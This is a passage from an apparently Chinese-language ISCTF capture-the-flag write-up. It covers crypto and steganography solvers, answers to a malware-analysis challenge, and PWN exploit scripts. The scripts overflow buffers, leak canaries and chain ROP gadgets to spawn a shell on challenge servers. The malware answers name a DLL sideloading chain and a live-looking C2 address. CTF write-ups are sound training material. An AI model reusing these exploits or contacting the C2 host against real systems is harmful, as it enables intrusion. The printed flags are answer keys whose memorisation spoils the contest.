plaintext = bytes(c ^ k for c, k in zip(ct, keystream))
print(f"\nFLAG: {plaintext.decode()}")
#ISCTF{lf5R_jUst_So_s0}
沉迷数学的小蓝鲨
给定的公钥 $Q$ 并不在题目描述的曲线上,而是落在一个参数 $b$ 被篡改的曲线上,且该曲线的阶具有光滑,从而可以使用 Pohlig-Hellman 算法求解离散对数。 此外,生成元 $G$ 使用的是标准 secp256k1 基点的 x 坐标。
import hashlib
def solve_isctf_challenge():
print("=" * 60)
print("ISCTF 'Little Blue Shark' Solver (Invalid Curve Attack)")
print("=" * 60)
# ---------------------------------------------------------
# 1. 题目参数定义
# ---------------------------------------------------------
# secp256k1 的标准素数 p
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
F = GF(p)
# 题目给出的公钥 Q
qx = 0xa61ae2f42348f8b84e4b8271ee8ce3f19d7760330ef6a5f6ec992430dccdc167
qy = 0x8a3ceb15b94ee7c6ce435147f31ca8028d1dd07a986711966980f7de20490080
# ---------------------------------------------------------
# 2. 漏洞利用:恢复错误的曲线参数 b
# ---------------------------------------------------------
# 验证发现点 Q 不在 y^2 = x^3 + 3x + 27 上
# 因此这是 Invalid Curve Attack,我们需要反推 b'
# b' = y^2 - (x^3 + 3x) mod p
b_real = F(qy)^2 - (F(qx)^3 + 3*F(qx))
print(f"[+] Recovered faulty curve parameter b:\n {b_real}")
# 定义这条“错误”的曲线 E'
E = EllipticCurve(F, [3, b_real])
Q_point = E(qx, qy)
print("[+] Point Q is valid on the recovered curve.")
# ---------------------------------------------------------
# 3. 确定生成元 G
# ---------------------------------------------------------
# 在此类攻击中,通常使用标准 secp256k1 基点的 X 坐标映射到错误曲线上
gx_secp = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
try:
# lift_x 会寻找具有该 x 坐标的有效点
G = E.lift_x(Integer(gx_secp))
print("[+] Generator G recovered (from secp256k1 x-coord).")
except ValueError:
print("[-] Failed to lift secp256k1 generator.")
return
# ---------------------------------------------------------
# 4. 求解离散对数 k (Q = k * G)
# ---------------------------------------------------------
# 曲线阶包含非常大的素数因子,直接计算会卡死。
# 但由于题目设计,k 通常较小,或者我们只需要利用小因子。
# 使用 bounds 参数强制 Sage 使用 BSGS (小步大步法) 在小范围内搜索。
print("[*] Solving Discrete Log using BSGS (assuming small k)...")
try:
# 设置搜索上限为 2^40 (约1万亿),这对 BSGS 来说是秒解
k = discrete_log(Q_point, G, operation='+', bounds=(1, 2**40))
print(f"[SUCCESS] Found private key k: {k}")
except Exception:
print("[-] Positive k not found, trying negative G...")
try:
# 某些实现中 y 坐标可能取反
k = discrete_log(Q_point, -G, operation='+', bounds=(1, 2**40))
print(f"[SUCCESS] Found private key k: {k}")
except Exception as e:
print(f"[-] Failed to find k. Error: {e}")
return
# ---------------------------------------------------------
# 5. 生成最终 Flag
# ---------------------------------------------------------
# 题目要求:将 k 的16进制值转换为 32位 MD5,包裹 ISCTF{}
# 转换为 hex 字符串,去掉 '0x' 前缀
hex_k = hex(Integer(k))[2:]
print(f"[+] k (hex): {hex_k}")
# 计算 MD5
md5_hash = hashlib.md5(hex_k.encode()).hexdigest()
flag = f"ISCTF{{{md5_hash}}}"
print("\n" + "#" * 40)
print(flag)
print("#" * 40)
# 运行求解
if __name__ == "__main__":
solve_isctf_challenge()
#ISCTF{43896099feea21a3d5804863075e1aaa}
小蓝鲨的密码箱
构建映射表查flag
import requests
import string
import re
url = "http://challenge.bluesharkinfo.com:20377/encrypt"
charset = string.printable.strip() # 或者 string.ascii_letters + string.digits + string.punctuation
print(f"[*] 正在构造 Payload,字符集长度: {len(charset)}")
payload_data = {
'a': 17, # 随便改个非0数
'b': 23, # 随便改个非0数
'c': 997, # 重点:改大这个数,避免取模丢失信息
'text': charset
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0',
'Content-Type': 'application/x-www-form-urlencoded'
}
try:
print("[*] 发送请求获取映射关系...")
r = requests.post(url, data=payload_data, headers=headers)
html = r.text
hex_outputs = re.findall(r'<div class="hex-output">(.*?)</div>', html, re.DOTALL)
if len(hex_outputs) < 2:
print("[!] 解析失败,未找到足够的输出区域。")
exit()
my_cipher_str = hex_outputs[0].strip()
my_cipher_bytes = my_cipher_str.split()
# Flag 的密文
flag_cipher_str = hex_outputs[1].strip()
flag_cipher_bytes = flag_cipher_str.split()
print(f"[*] 获取到 Flag 密文片段: {flag_cipher_str[:20]}...")
if len(my_cipher_bytes) != len(charset):
print(f"[!] 警告: 发送字符数 ({len(charset)}) 与 返回密文块数 ({len(my_cipher_bytes)}) 不一致!")
cipher_map = {}
for char, hex_val in zip(charset, my_cipher_bytes):
cipher_map[hex_val] = char
print("[*] 映射表构建完成。")
flag = ""
for hex_byte in flag_cipher_bytes:
if hex_byte in cipher_map:
flag += cipher_map[hex_byte]
else:
flag += "?" # 未知字符
print(f"[!] 遇到未知密文块: {hex_byte}")
print("-" * 30)
print(f"FLAG: {flag}")
print("-" * 30)
except Exception as e:
print(f"[!] 发生错误: {e}")
baby_math
from sage.all import *
# 1. Setup the High Precision Field
R = RealField(1000)
# 2. Input Values
x_val = "0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100"
enc_val = "1.24839978408728580181183027675785982784764821592156892598136000363397267152291738689909414790691435938223032351375697399608345468567445269769342300325192248438038963977207296241971217955178443170598629648414706345216797043374408541203167719396818925953801387623884200901703606288664141375049626635852e52"
x = R(x_val)
enc = R(enc_val)
# 3. Lattice Construction
# Scale factor K
K = 10**300
# Basis Matrix
# Columns correspond to coefficients for: a, b, and the approximation target
M = Matrix(ZZ, [
[1, 0, int(K * cos(x))],
[0, 1, int(K * sin(x))],
[0, 0, int(K * enc)]
])
# 4. Lattice Reduction (LLL)
B = M.LLL()
print("Scanning reduced basis for flag candidates...\n")
# Helper function to replace long_to_bytes
def to_bytes(n):
n = int(n) # Convert Sage Integer to Python int
return n.to_bytes((n.bit_length() + 7) // 8, 'big')
# 5. Extract Flag
found = False
for row in B:
# LLL might return negative vectors, so we take absolute values
potential_a = abs(row[0])
potential_b = abs(row[1])
if potential_a == 0 or potential_b == 0:
continue
try:
part1 = to_bytes(potential_a)
part2 = to_bytes(potential_b)
flag_candidate = part1 + part2
# Check for readable text
# Checks if bytes are within ASCII printable range
if all(32 <= c <= 126 for c in flag_candidate):
print(f"Flag found: {flag_candidate.decode()}")
found = True
break
except Exception:
continue
if not found:
print("Could not automatically decode a flag. Check the basis rows manually:")
print(B)
小蓝鲨的RSA密文
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii
# --- 题目给出的参数 ---
c = 3756824985347508967549776773725045773059311839370527149219720084008312247164501688241698562854942756369420003479117
a2_high = 9012778
LOW_BITS = 16
a1 = 621315
a0 = 452775142
# 提供的十六进制字符串
iv_hex = "bf38e64bb5c1b069a07b7d1d046a9010"
ct_hex = "8966006c4724faf53883b56a1a8a08ee17b1535e1657c16b3b129ee2d2e389744c943014eb774cd24a5d0f7ad140276fdec72eb985b6de67b8e4674b0bcdc4a5"
# --- 1. 爆破 a2 并求解 m ---
def solve_m():
# m 是 16 字节,所以范围在 0 到 2^128 之间
low_bound = 0
high_bound = 1 << 128
print(f"[*] 开始爆破 a2 的低 {LOW_BITS} 位...")
# 遍历低 16 位的所有可能性
for x in range(1 << LOW_BITS):
# 恢复完整的 a2
a2_guess = (a2_high << LOW_BITS) + x
# 我们需要求解方程: m^3 + a2*m^2 + a1*m + a0 - c = 0
# 使用二分查找来寻找整数根 m
l, r = low_bound, high_bound
found = False
while l <= r:
mid = (l + r) // 2
# 计算多项式的值
val = mid**3 + a2_guess * (mid**2) + a1 * mid + a0
if val == c:
return mid # 找到正确密钥
elif val < c:
l = mid + 1
else:
r = mid - 1
if x % 10000 == 0 and x > 0:
print(f"[*] 进度: {x}/65536")
return None
# --- 2. 执行解密 ---
m = solve_m()
if m:
print(f"[+] 找到 m: {m}")
try:
aes_key = long_to_bytes(m)
print(f"[+] AES Key (hex): {aes_key.hex()}")
iv = binascii.unhexlify(iv_hex)
ct = binascii.unhexlify(ct_hex)
cipher = AES.new(aes_key, AES.MODE_CBC, iv=iv)
decrypted = cipher.decrypt(ct)
# 尝试去填充并打印
flag = unpad(decrypted, 16).decode()
print(f"\n[SUCCESS] Flag: {flag}")
except Exception as e:
print(f"[!] 解密或去填充失败: {e}")
# 如果去填充失败,打印原始解密结果看看
print(f"[!] 原始解密数据: {decrypted}")
else:
print("[-] 未找到解。")
baby_equation
import gmpy2
from Crypto.Util.number import long_to_bytes
# --- 题目参数 ---
K1 = 5530346600323339885232820545798418499625132786869393636420197124606005490078041505765918120769293936395609675704197197479866186297686468133906640256390919799453701894382992223127374374212586492263661287287954143417128958298503464448
K3 = -5530346600323339885232820545798418499625132786869393636420197035566805062064534503704976756468319888650441668826363984844327206056424439752726283862026042410921197396370839233560708886006884569969932749615838070243922866371345910111
S = K1 + K3
print("[*] 开始精确求解...")
b_approx, _ = gmpy2.iroot(K1 // 6, 6)
b_start = int(b_approx)
found = False
for i in range(-5, 5):
b = b_start + i
val = S - b**6
if val == 0: continue
if val < 0:
a_abs, exact = gmpy2.iroot(-val, 3)
a = -int(a_abs)
else:
a, exact = gmpy2.iroot(val, 3)
if exact:
print(f"[+] 锁定参数! \n b = {b} \n a = {a}")
numerator = K1 + 2*S - 6*(b**6)
denominator = 3 * a
if numerator % denominator == 0:
c = numerator // denominator
flag_bytes = long_to_bytes(c)
print(f"\n[SUCCESS] Flag found:\n{flag_bytes.decode()}")
found = True
break
else:
print("[-] a, b 正确但 c 无法整除,奇怪。")
if not found:
print("[-] 未能找到解,请检查 K1, K3 是否有误。")
小蓝鲨的费马谜题
import math
import re
from Crypto.Util.number import long_to_bytes, inverse
# ---------------- 配置区域 ----------------
# 题目给出的 n 和 c
n = 16926747183730811445521182287631871095235807124637325096660759361996155369993998745638293862726267741890840654094794027600177564948819372030933079291097084177091863985749240756085243654442374722882507015343515827787141307909182820013354070321738405810257107651857739607060274549412692517140259717346170524920540888050323066988108836911975466603073034433831887208978130406742714302940264702874305095602623379177353873347208751721068498690917932776984190598143704567665475161453335629659200748786648288309401513856740323455946901312988841290917666732077747457081355853722832166331501779601157719722291598787710746917947
e = 65537
c = 7135669888508993283998887257526185813831780208680788333332044930342125381561919830084088631920301623909949443002073193381401761901398826719665411432016217400457613545308262831975564456231165114091904748808206330488231569773162745696602366468753664188261933014198218922459715972876740957260132243927549037840265753282534565674280908439875550179801788711737901632349136780584007599655055605772651127003711138512998683145763743839326460319440186099818507078433271291685194944254795690424327192625258701835654639832285402990995662846426561789508331799972329711410217802657682842382105869446853207634070295959281375484933
# 这里粘贴了 output.txt 中的所有 Hints 数据 [cite: 1, 2, 3]
hints_data = """
Hint 1: 11, 41, 403072318395713195475880235840306655046644537786837658466183670390322357403650602210882802453171853452
Hint 2: 73, 7, 3401877351823051464833008106697922874740843547186522246399577691648145322938787488999079423405760696040635223407580102549819096176975820017380148265275786281647240647714533261221890310813882987089721138616513427711006945061727486708277298401545762448776593105730005387022319319199166969225690343981500127626848336242187816071435842118963634505746771844269484845077330851526393327015758760003053231670737896550596266539249975891234238005583184203089180325261872944167834576158878843510707348603774425827560724587546720860765943393963597645881666559247252842017499263265738255716811999328445725902262302532911214255949
Hint 23: 41, 97, 15061728396574720128871454281806425283902878531290205263072044930084328354647716799950058691868870125292816458036423472349601649870044904984377004711678761714808846252355372756850495640148784156530292575757175420916873271609977179541391067607437946628688811886889502712607514447458904992024279765998865875618672417318528806259694052202283848620150531327490085874935926140164888318138777816635210686133434879564761574366090585467327313351792501721900090022412568322566880308204689579089754113916523137219409702840025596606460438071507115794360457519041650146002247978792944063933568992230154174930543323173071240960636
Hint 48: 47, 73, 11137871466581047781242984634852964336706264103460602528475970728553465644713327296350923627071860721778412789236714773697433892321959279504008377433584604885817319604115996426320874382244073671694322092160768350159529231732048447670177579115854882538413223938721279445190025525651472499343624011272214336778696111400347742318222789215043195711269360705507743463500549755479755775737105743290208621332589467304719937369513194207595213182980370357559166180993485168866418076474829491707312908665547905615295104716814273672708222960604034067248688735024594069804630472429600684961470444745009128678939204098625367015452
"""
# (脚本会处理这些hint,不用担心不全,上面几个只是例子)
# ---------------- 攻击逻辑 ----------------
def attack():
# 1. 使用正则表达式匹配所有的 (数字, 数字, 长数字) 组合
# 这样可以忽略文件中的 "Hint x:"、"" 等杂乱字符
pattern = r'(\d+),\s*(\d+),\s*(\d+)'
# 这里为了保证能跑到所有数据,我建议你把 output.txt 的全文再贴到 hints_data 变量里
# 或者直接把文件和脚本放一起读
# 为了演示方便,我假设你会把文件全文放在同目录下,或者直接复制内容替换上面的 hints_data
# 下面代码优先读文件,读不到就用上面的字符串
content = hints_data
try:
with open('output.txt', 'r', encoding='utf-8') as f:
content = f.read()
print("[*] 成功读取 output.txt 文件")
except:
print("[!] 未找到 output.txt,使用脚本内置的 hints_data (请确保数据完整)")
matches = re.findall(pattern, content)
print(f"[*] 共提取到 {len(matches)} 组 Hint,开始爆破...")
for i, match in enumerate(matches):
base1 = int(match[0])
base2 = int(match[1])
hint_val = int(match[2])
# 核心攻击:p = gcd(hint - 2, n)
p = math.gcd(hint_val - 2, n)
# 检查是否成功分解
if p > 1 and p < n:
print(f"\n[+] 成功! 在第 {i+1} 个 Hint (Base: {base1}, {base2}) 处分解了 n")
print(f"[+] p = {p}")
q = n // p
phi = (p - 1) * (q - 1)
try:
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(f"\n[+] FLAG: {flag.decode()}")
except Exception as ex:
print(f"[-] 解密报错: {ex}")
print(f"[-] Decrypted hex: {hex(m)}")
return
print("[-] 所有 Hint 都尝试失败。请检查输入数据是否包含完整的 Hint 行。")
if __name__ == "__main__":
attack()
PWN
来签个到吧
from pwn import *
p=remote('challenge.bluesharkinfo.com',29242)
payload = b'A' * 108
payload += p32(0xaddaaaaa)
p.sendline(payload)
p.interactive()
ez_fmt
from pwn import *
import re
context.log_level = 'debug' # 不想看太多日志可以改成 'info' 或 'error'
context.arch = 'amd64'
elf = ELF('./ez_fmt')
def start():
return process('./ez_fmt')
def main():
p = start()
#canary
p.recvuntil(b"1st input:")
p.sendline(b"%23$p")
leak = p.recvuntil(b"[leak end]")
m = re.search(b"0x[0-9a-fA-F]+", leak)
canary = int(m.group(0), 16)
log.success(f"leaked canary = {hex(canary)}")
# ret2win
win_addr = elf.sym['win']
log.success(f"win() addr = {hex(win_addr)}")
p.recvuntil(b"2nd input:")
payload = b"A" * 0x88
payload += p64(canary)
payload += b"B" * 8
payload += p64(win_addr)
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
main()
ret2rop
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#exe = './pwn'
#elf = ELF(exe)
io = remote('challenge.bluesharkinfo.com',12346)
name_addr = 0x4040F0
pop_rsi_addr = 0x401a1c
mov_rdi_rsi_addr = 0x401a25
system_addr = 0x401180
pop_rbp_ret=0x40131d
def attack():
system_addr = 0x401180
io.recvuntil(b"demo")
io.sendline(b"no")
io.recvuntil(b"name")
io.send(b"/bin/sh\x00".ljust(16, b'\x00'))
# 1. 设置 n (Offset 64) 为 payload 总长度。
# 2. 设置 Offset 96 也为 payload 总长度。
# 3. 当 i=64 时,n ^= buf[96] -> n = 0。循环终止。
# 4. 循环终止后,Offset 88 处的 Ret Address 保持原样(未被异或)。
# 5. Offset 88 处放置 skip_gadget,弹掉 Offset 96,跳到 Offset 104。
payload_len = 0xE0
payload = b'\x00' * 64
payload += p64(payload_len)
payload += p64(0)
payload += b'B' * 8
payload += p64(pop_rbp_ret)
payload += p64(payload_len)
payload += p64(pop_rsi_addr) # pop rsi
payload += p64(name_addr) # /bin/sh
payload += p64(mov_rdi_rsi_addr) # mov rdi, rsi
payload += p64(system_addr) # system
current_len = len(payload)
padding_len = payload_len - current_len
payload += b'\x00' * padding_len
io.recvuntil(b"yourself")
io.send(payload)
io.interactive()
if __name__ == "__main__":
attack()
2048
/bin/sh写道存储name的buff里即可
from pwn import *
# ================= 配置部分 =================
context.log_level = 'debug'
context.arch = 'amd64'
binary_name = './ez2048'
elf = ELF(binary_name)
io = process(binary_name)
#io = remote('challenge.bluesharkinfo.com', 29823) # ⚠️ 请确认端口
pop_rdi_ret = 0x40133E # ROP gadget: pop rdi; ret
name_buf_addr = 0x404A46 # 全局变量地址,我们在那里写入 /bin/sh
system_addr = 0x401355 # system 函数地址 (或者 PLT 地址)
# ret_gadget = 0x40101a # 用于栈对齐 (可选)
io.recvuntil(b"input your name\n>")
io.send(b"/bin/sh\x00")
io.recvuntil(b"Press \"Enter\" to start")
io.sendline(b"")
for i in range(6):
sleep(0.1)
io.sendline(b"q")
io.recvuntil(b"your score:")
io.recvuntil(b"Enter \"Q\" to settle")
if i == 5:
io.sendline(b"Q")
else:
io.sendline(b"n")
print("[-] Phase 3: Leaking Canary...")
io.recvuntil(b"$ ")
payload_leak = b'a' * 136 + b'b'
io.send(payload_leak)
io.recvuntil(b"executing command: ")
all_output = io.recvuntil(b"$ ")
start_idx = all_output.find(b'a' * 136 + b'b')
canary_offset = start_idx + 137
canary_raw = all_output[canary_offset : canary_offset + 7]
canary = u64(b'\x00' + canary_raw)
print(f"\n[+] SUCCESS! Leaked Canary: {hex(canary)}\n")
print("[-] Phase 4: Sending ROP Chain...")
prefix = b"exit\x00"
padding_len = 136 - len(prefix)
payload_attack = prefix
payload_attack += b'a' * padding_len
payload_attack += p64(canary) # 恢复 Canary
payload_attack += p64(0) # Saved RBP (无所谓)
payload_attack += p64(pop_rdi_ret) # 把栈顶数据弹入 rdi
payload_attack += p64(name_buf_addr) # rdi = 0x404A46 (即 "/bin/sh")
payload_attack += p64(system_addr) # call system
io.sendline(payload_attack)
print("[*] Exploit sent. Check your shell!")
io.interactive()
````````````
`
## 病毒分析

病毒分析-题目1
题目模仿的APT组织中文代号为
攻击套路就是钓鱼 pdf绑定命令执行然后白加黑,试一下几个常见的apt组织i
海莲花
### 病毒分析-题目2
第一阶段载荷中的入口文件全名为
ISCTF基础规则说明文档.pdf.lnk
### 病毒分析-题目3
第一阶段中使用了一个带有数字签名的文件(非系统文件),其中签名者名称为(完整复制)

Zoom Video Communications, Inc.
### 病毒分析-题目4
第一阶段中恶意载荷释放的文件名分别为(提交三次,每次一个文件名)
ISCTF2025基础规则说明文档.pdf
zRC.dat
zRCAppCore.dll
第二阶段使用了一种常见的白加黑技巧,其中黑文件名为
zRCAppCore.dll
### 病毒分析-题目5
### 病毒分析-题目6

xor
### 病毒分析-题目7
第二阶段对下一阶段载荷进行了简单的保护,保护使用的密码为
tf7*TV&8u
### 病毒分析-题目8
第三阶段载荷使用了一种开源的保护工具,工具英文缩写为
tao@kali [/tmp] ➜ upx -d download\ (1).exe [13:42:03]
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2024
UPX 4.2.4 Markus Oberhumer, Laszlo Molnar & John Reiser May 9th 2024
File size Ratio Format Name
173056 <- 80384 46.45% win32/pe download (1).exe
Unpacked 1 file.
upx
### 病毒分析-题目9
第三阶段载荷首次回连域名为

olonised-my.sharepoint.com
### 病毒分析-题目10
第三阶段载荷获取命令的回连地址为(格式:IP:端口)
访问地址获取c2信息
oA0tG3aW2vT8mL5tvM1qV3cF2aB2xS6ztT7gX0zB1xR9zK8mjP0xP2iT3lO6fH1rpE4gP6pA2mE9dE7dntyVmZqZlZm5lZy5Fti2mZe1lD1bZ0nJ8gY7lR2qmP3vK5nY1hD3cT7guJ8tQ8rE6qJ1gF6ipZ0rF0vR5yB4xA4nyD7wM0lV5wC4rZ1c
直接动调看一下c2地址

47.252.28.78:37204
### 病毒分析-题目11
第三阶段载荷获取命令时发送的内容为

get_cmd
### 病毒分析-题目12
直接访问`http://47.252.28.78:37204/`

## Misc
### 湖心亭看雪
```python
a = b'*********' #这个东西你以后要用到
b = b'blueshark'
c = bytes([x ^ y for x, y in zip(a, b)])
print(c.hex())
#c = 53591611155a51405e
c_hex = '53591611155a51405e'
c_bytes = bytes.fromhex(c_hex)
b = b'blueshark'
a_recovered = bytes([x ^ y for x, y in zip(c_bytes, b)])
print(a_recovered)
#15ctf2025

藏了个压缩包
修一下头
sb套娃,snow隐写
PS E:\CTF\MISC> ./SNOW.EXE -C -p "15ctf2025" ./flag.txt
ISCTF{y0U_H4v3_kN0wn_Wh4t_15_Sn0w!!!}
Image_is_all_you_need
import numpy as np
from PIL import Image
import png
# 读取 tEXt chunk 里的额外信息(哪些像素本该是 256)
def read_text_chunk(src_png, index=1):
reader = png.Reader(filename=src_png)
chunks = list(reader.chunks())
img_extra = chunks[index][1].decode()
img_extra = eval(img_extra) # 之前就是 str(list(...)) 存进去的
return img_extra # 返回的是一个索引列表
# 把一张 secret_i.png 读成一维数组,并把“本来是 256”的像素修回来
def load_share(path):
img = Image.open(path)
arr = np.asarray(img) # H x W x C,uint8
shape = arr.shape
flat = arr.flatten().astype(np.int64) # 升级成 int64 方便做 mod 计算
# 修复 256 -> 0 的那部分
indices = read_text_chunk(path, index=1)
flat[indices] = 256 # 这里 256 是模 257 下的 -1,但像素只保存到 0..255,所以才需要 chunk
return flat, shape
def reconstruct_secret_png(share_paths, out_path="secret_recovered.png"):
mod = 257
# 预先算好的权重(对应 x = 1..6 在 t=0 的拉格朗日基)
weights = np.array([6, 242, 20, 242, 6, 256], dtype=np.int64)
# 读取所有 share
shares_flat = []
shape = None
for p in share_paths:
flat, shp = load_share(p)
if shape is None:
shape = shp
shares_flat.append(flat)
shares_flat = np.stack(shares_flat, axis=0) # 6 x N
# shares_flat[i, j] = 第 i 张 share 在第 j 个像素的值
# 加权求和:S = sum_i w_i * y_i (mod 257)
# 先广播:weights -> 6x1
w = weights[:, None] # 6 x 1
S = (w * shares_flat).sum(axis=0) % mod # N
# 原像素只会是 0..255,所以如果出现 256 就映射回 0(理论上不会,但稳妥一点)
S[S == 256] = 0
S = S.astype(np.uint8)
img_arr = S.reshape(shape)
img = Image.fromarray(img_arr)
img.save(out_path)
print(f"reconstructed secret saved to {out_path}")
if __name__ == "__main__":
paths = [
"secret_1.png",
"secret_2.png",
"secret_3.png",
"secret_4.png",
"secret_5.png",
"secret_6.png",
]
reconstruct_secret_png(paths, "secret.png")
import torch
import torch.nn as nn
import torch.nn.init as init
import torchvision.transforms as T
from PIL import Image
import numpy as np
import zlib
from reedsolo import RSCodec
# ==========================================
# 1. 基础组件
# ==========================================
rs = RSCodec(128)
def initialize_weights(net_l, scale=1):
if not isinstance(net_l, list): net_l = [net_l]
for net in net_l:
for m in net.modules():
if isinstance(m, nn.Conv2d):
init.kaiming_normal_(m.weight, a=0, mode='fan_in')
m.weight.data *= scale
if m.bias is not None: m.bias.data.zero_()
elif isinstance(m, nn.Linear):
init.kaiming_normal_(m.weight, a=0, mode='fan_in')
m.weight.data *= scale
if m.bias is not None: m.bias.data.zero_()
elif isinstance(m, nn.BatchNorm2d):
init.constant_(m.weight, 1)
init.constant_(m.bias.data, 0.0)
class DWT(nn.Module):
def __init__(self): super(DWT, self).__init__(); self.requires_grad = False
def forward(self, x):
x01 = x[:, :, 0::2, :] / 2; x02 = x[:, :, 1::2, :] / 2
x1, x2, x3, x4 = x01[:, :, :, 0::2], x02[:, :, :, 0::2], x01[:, :, :, 1::2], x02[:, :, :, 1::2]
return torch.cat((x1+x2+x3+x4, -x1-x2+x3+x4, -x1+x2-x3+x4, x1-x2-x3+x4), 1)
class IWT(nn.Module):
def __init__(self): super(IWT, self).__init__(); self.requires_grad = False
def forward(self, x):
r = 2
in_batch, in_channel, in_height, in_width = x.size()
out_channel, out_height, out_width = int(in_channel / (r ** 2)), r * in_height, r * in_width
x1, x2, x3, x4 = x[:, 0:out_channel, :, :]/2, x[:, out_channel:out_channel*2, :, :]/2, x[:, out_channel*2:out_channel*3, :, :]/2, x[:, out_channel*3:out_channel*4, :, :]/2
h = torch.zeros([in_batch, out_channel, out_height, out_width]).float().to(x.device)
h[:, :, 0::2, 0::2] = x1 - x2 - x3 + x4; h[:, :, 1::2, 0::2] = x1 - x2 + x3 - x4
h[:, :, 0::2, 1::2] = x1 + x2 - x3 - x4; h[:, :, 1::2, 1::2] = x1 + x2 + x3 + x4
return h
class ResidualDenseBlock_out(nn.Module):
def __init__(self, bias=True):
super(ResidualDenseBlock_out, self).__init__()
self.conv1 = nn.Conv2d(12, 32, 3, 1, 1, bias=bias)
self.conv2 = nn.Conv2d(12+32, 32, 3, 1, 1, bias=bias)
self.conv3 = nn.Conv2d(12+64, 32, 3, 1, 1, bias=bias)
self.conv4 = nn.Conv2d(12+96, 32, 3, 1, 1, bias=bias)
self.conv5 = nn.Conv2d(12+128, 12, 3, 1, 1, bias=bias)
self.lrelu = nn.LeakyReLU(inplace=True)
initialize_weights([self.conv5], 0.)
def forward(self, x):
x1 = self.lrelu(self.conv1(x))
x2 = self.lrelu(self.conv2(torch.cat((x, x1), 1)))
x3 = self.lrelu(self.conv3(torch.cat((x, x1, x2), 1)))
x4 = self.lrelu(self.conv4(torch.cat((x, x1, x2, x3), 1)))
return self.conv5(torch.cat((x, x1, x2, x3, x4), 1))
class INV_block(nn.Module):
def __init__(self, clamp=2.0):
super().__init__(); self.clamp = clamp
self.r, self.y, self.f = ResidualDenseBlock_out(), ResidualDenseBlock_out(), ResidualDenseBlock_out()
def e(self, s): return torch.exp(self.clamp * 2 * (torch.sigmoid(s) - 0.5))
def forward(self, x): return x
def reverse(self, x):
y1, y2 = x.narrow(1, 0, 12), x.narrow(1, 12, 12)
s1, t1 = self.r(y1), self.y(y1)
x2 = (y2 - t1) / self.e(s1)
t2 = self.f(x2)
return torch.cat((y1 - t2, x2), 1)
# === 修正点:改回原始结构以匹配权重文件 ===
class simple_net(nn.Module):
def __init__(self):
super(simple_net, self).__init__()
self.inv1 = INV_block()
self.inv2 = INV_block()
self.inv3 = INV_block()
self.inv4 = INV_block()
self.inv5 = INV_block()
self.inv6 = INV_block()
self.inv7 = INV_block()
self.inv8 = INV_block()
def reverse(self, x):
out = self.inv8.reverse(x)
out = self.inv7.reverse(out)
out = self.inv6.reverse(out)
out = self.inv5.reverse(out)
out = self.inv4.reverse(out)
out = self.inv3.reverse(out)
out = self.inv2.reverse(out)
out = self.inv1.reverse(out)
return out
class Model(nn.Module):
def __init__(self, cuda=True):
super().__init__()
self.model = simple_net()
if cuda: self.model.cuda()
# ==========================================
# 2. 强制周期解码逻辑
# ==========================================
def solve_force():
device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
print(f"Running on: {device}")
# 加载模型
model_wrapper = Model(cuda=True)
checkpoint = torch.load('misuha.taki', map_location=device)
new_state_dict = {}
# 修复 Key,去除 model. 前缀
for k, v in checkpoint['net'].items():
if 'tmp_var' in k: continue
new_key = k[6:] if k.startswith('model.') else k
new_state_dict[new_key] = v
try:
model_wrapper.model.load_state_dict(new_state_dict)
print("Model loaded successfully!")
except RuntimeError as e:
print(f"Key mismatch error: {e}")
return
model_wrapper.eval()
dwt, iwt = DWT().to(device), IWT().to(device)
# 加载图片
try:
img = Image.open('secret.png').convert('RGB').resize((600, 450))
except:
print("Error: secret.png not found.")
return
# 逆向网络
print("Inverting network and performing IWT...")
transform = T.Compose([T.ToTensor()])
stego_tensor = transform(img).unsqueeze(0).to(device)
stego_dwt = dwt(stego_tensor)
input_reverse = torch.cat([stego_dwt, torch.zeros_like(stego_dwt).to(device)], dim=1)
with torch.no_grad():
output_reverse = model_wrapper.model.reverse(input_reverse)
payload_dwt = output_reverse.narrow(1, 12, 12)
payload_img = iwt(payload_dwt)
# 提取原始比特流
payload_flat = payload_img.view(-1).cpu().numpy()
raw_bits = (payload_flat > 0.5).astype(int)
# === 关键:强制使用 1376 作为周期 ===
PERIOD = 1376
print(f"Forcing Period: {PERIOD} bits")
num_copies = len(raw_bits) // PERIOD
print(f"Averaging {num_copies} copies of the data...")
truncated_len = num_copies * PERIOD
reshaped = raw_bits[:truncated_len].reshape(num_copies, PERIOD)
# 多数投票
vote_result = np.mean(reshaped, axis=0)
clean_bits = (vote_result > 0.5).astype(int).tolist()
# 去除 padding (32bits)
clean_bits_no_pad = clean_bits[:-32]
# 转为字节
ints = []
for b in range(len(clean_bits_no_pad) // 8):
byte = clean_bits_no_pad[b * 8:(b + 1) * 8]
ints.append(int(''.join([str(bit) for bit in byte]), 2))
byte_data = bytearray(ints)
print(f"Cleaned Hex: {byte_data[:10].hex()}...")
print("Attempting decode...")
try:
# 尝试 RS 解码
try:
decoded = rs.decode(byte_data)
if isinstance(decoded, tuple): decoded = decoded[0]
# Zlib 解压
text = zlib.decompress(decoded)
print(f"\n[SUCCESS] Flag found: {text.decode('utf-8')}")
except Exception as e_rs:
print(f"RS decode failed ({e_rs}), trying direct Zlib...")
text = zlib.decompress(byte_data)
print(f"\n[SUCCESS] Flag found (Direct Zlib): {text.decode('utf-8')}")
except Exception as e:
print(f"\n[FAIL] Final decoding error: {e}")
if __name__ == '__main__':
solve_force()
#ISCTF{Sh4r3_S3reCTTt_wiTh_Ai_H@@@@}
小蓝鲨的千层FLAG
import pyzipper
import re
import os
current_file = "flagggg1000.zip"
while True:
print(f"正在处理: {current_file}")
try:
# 改用 pyzipper.AESZipFile 打开,它支持 AES 加密
with pyzipper.AESZipFile(current_file, 'r') as zf:
# 1. 读取注释
try:
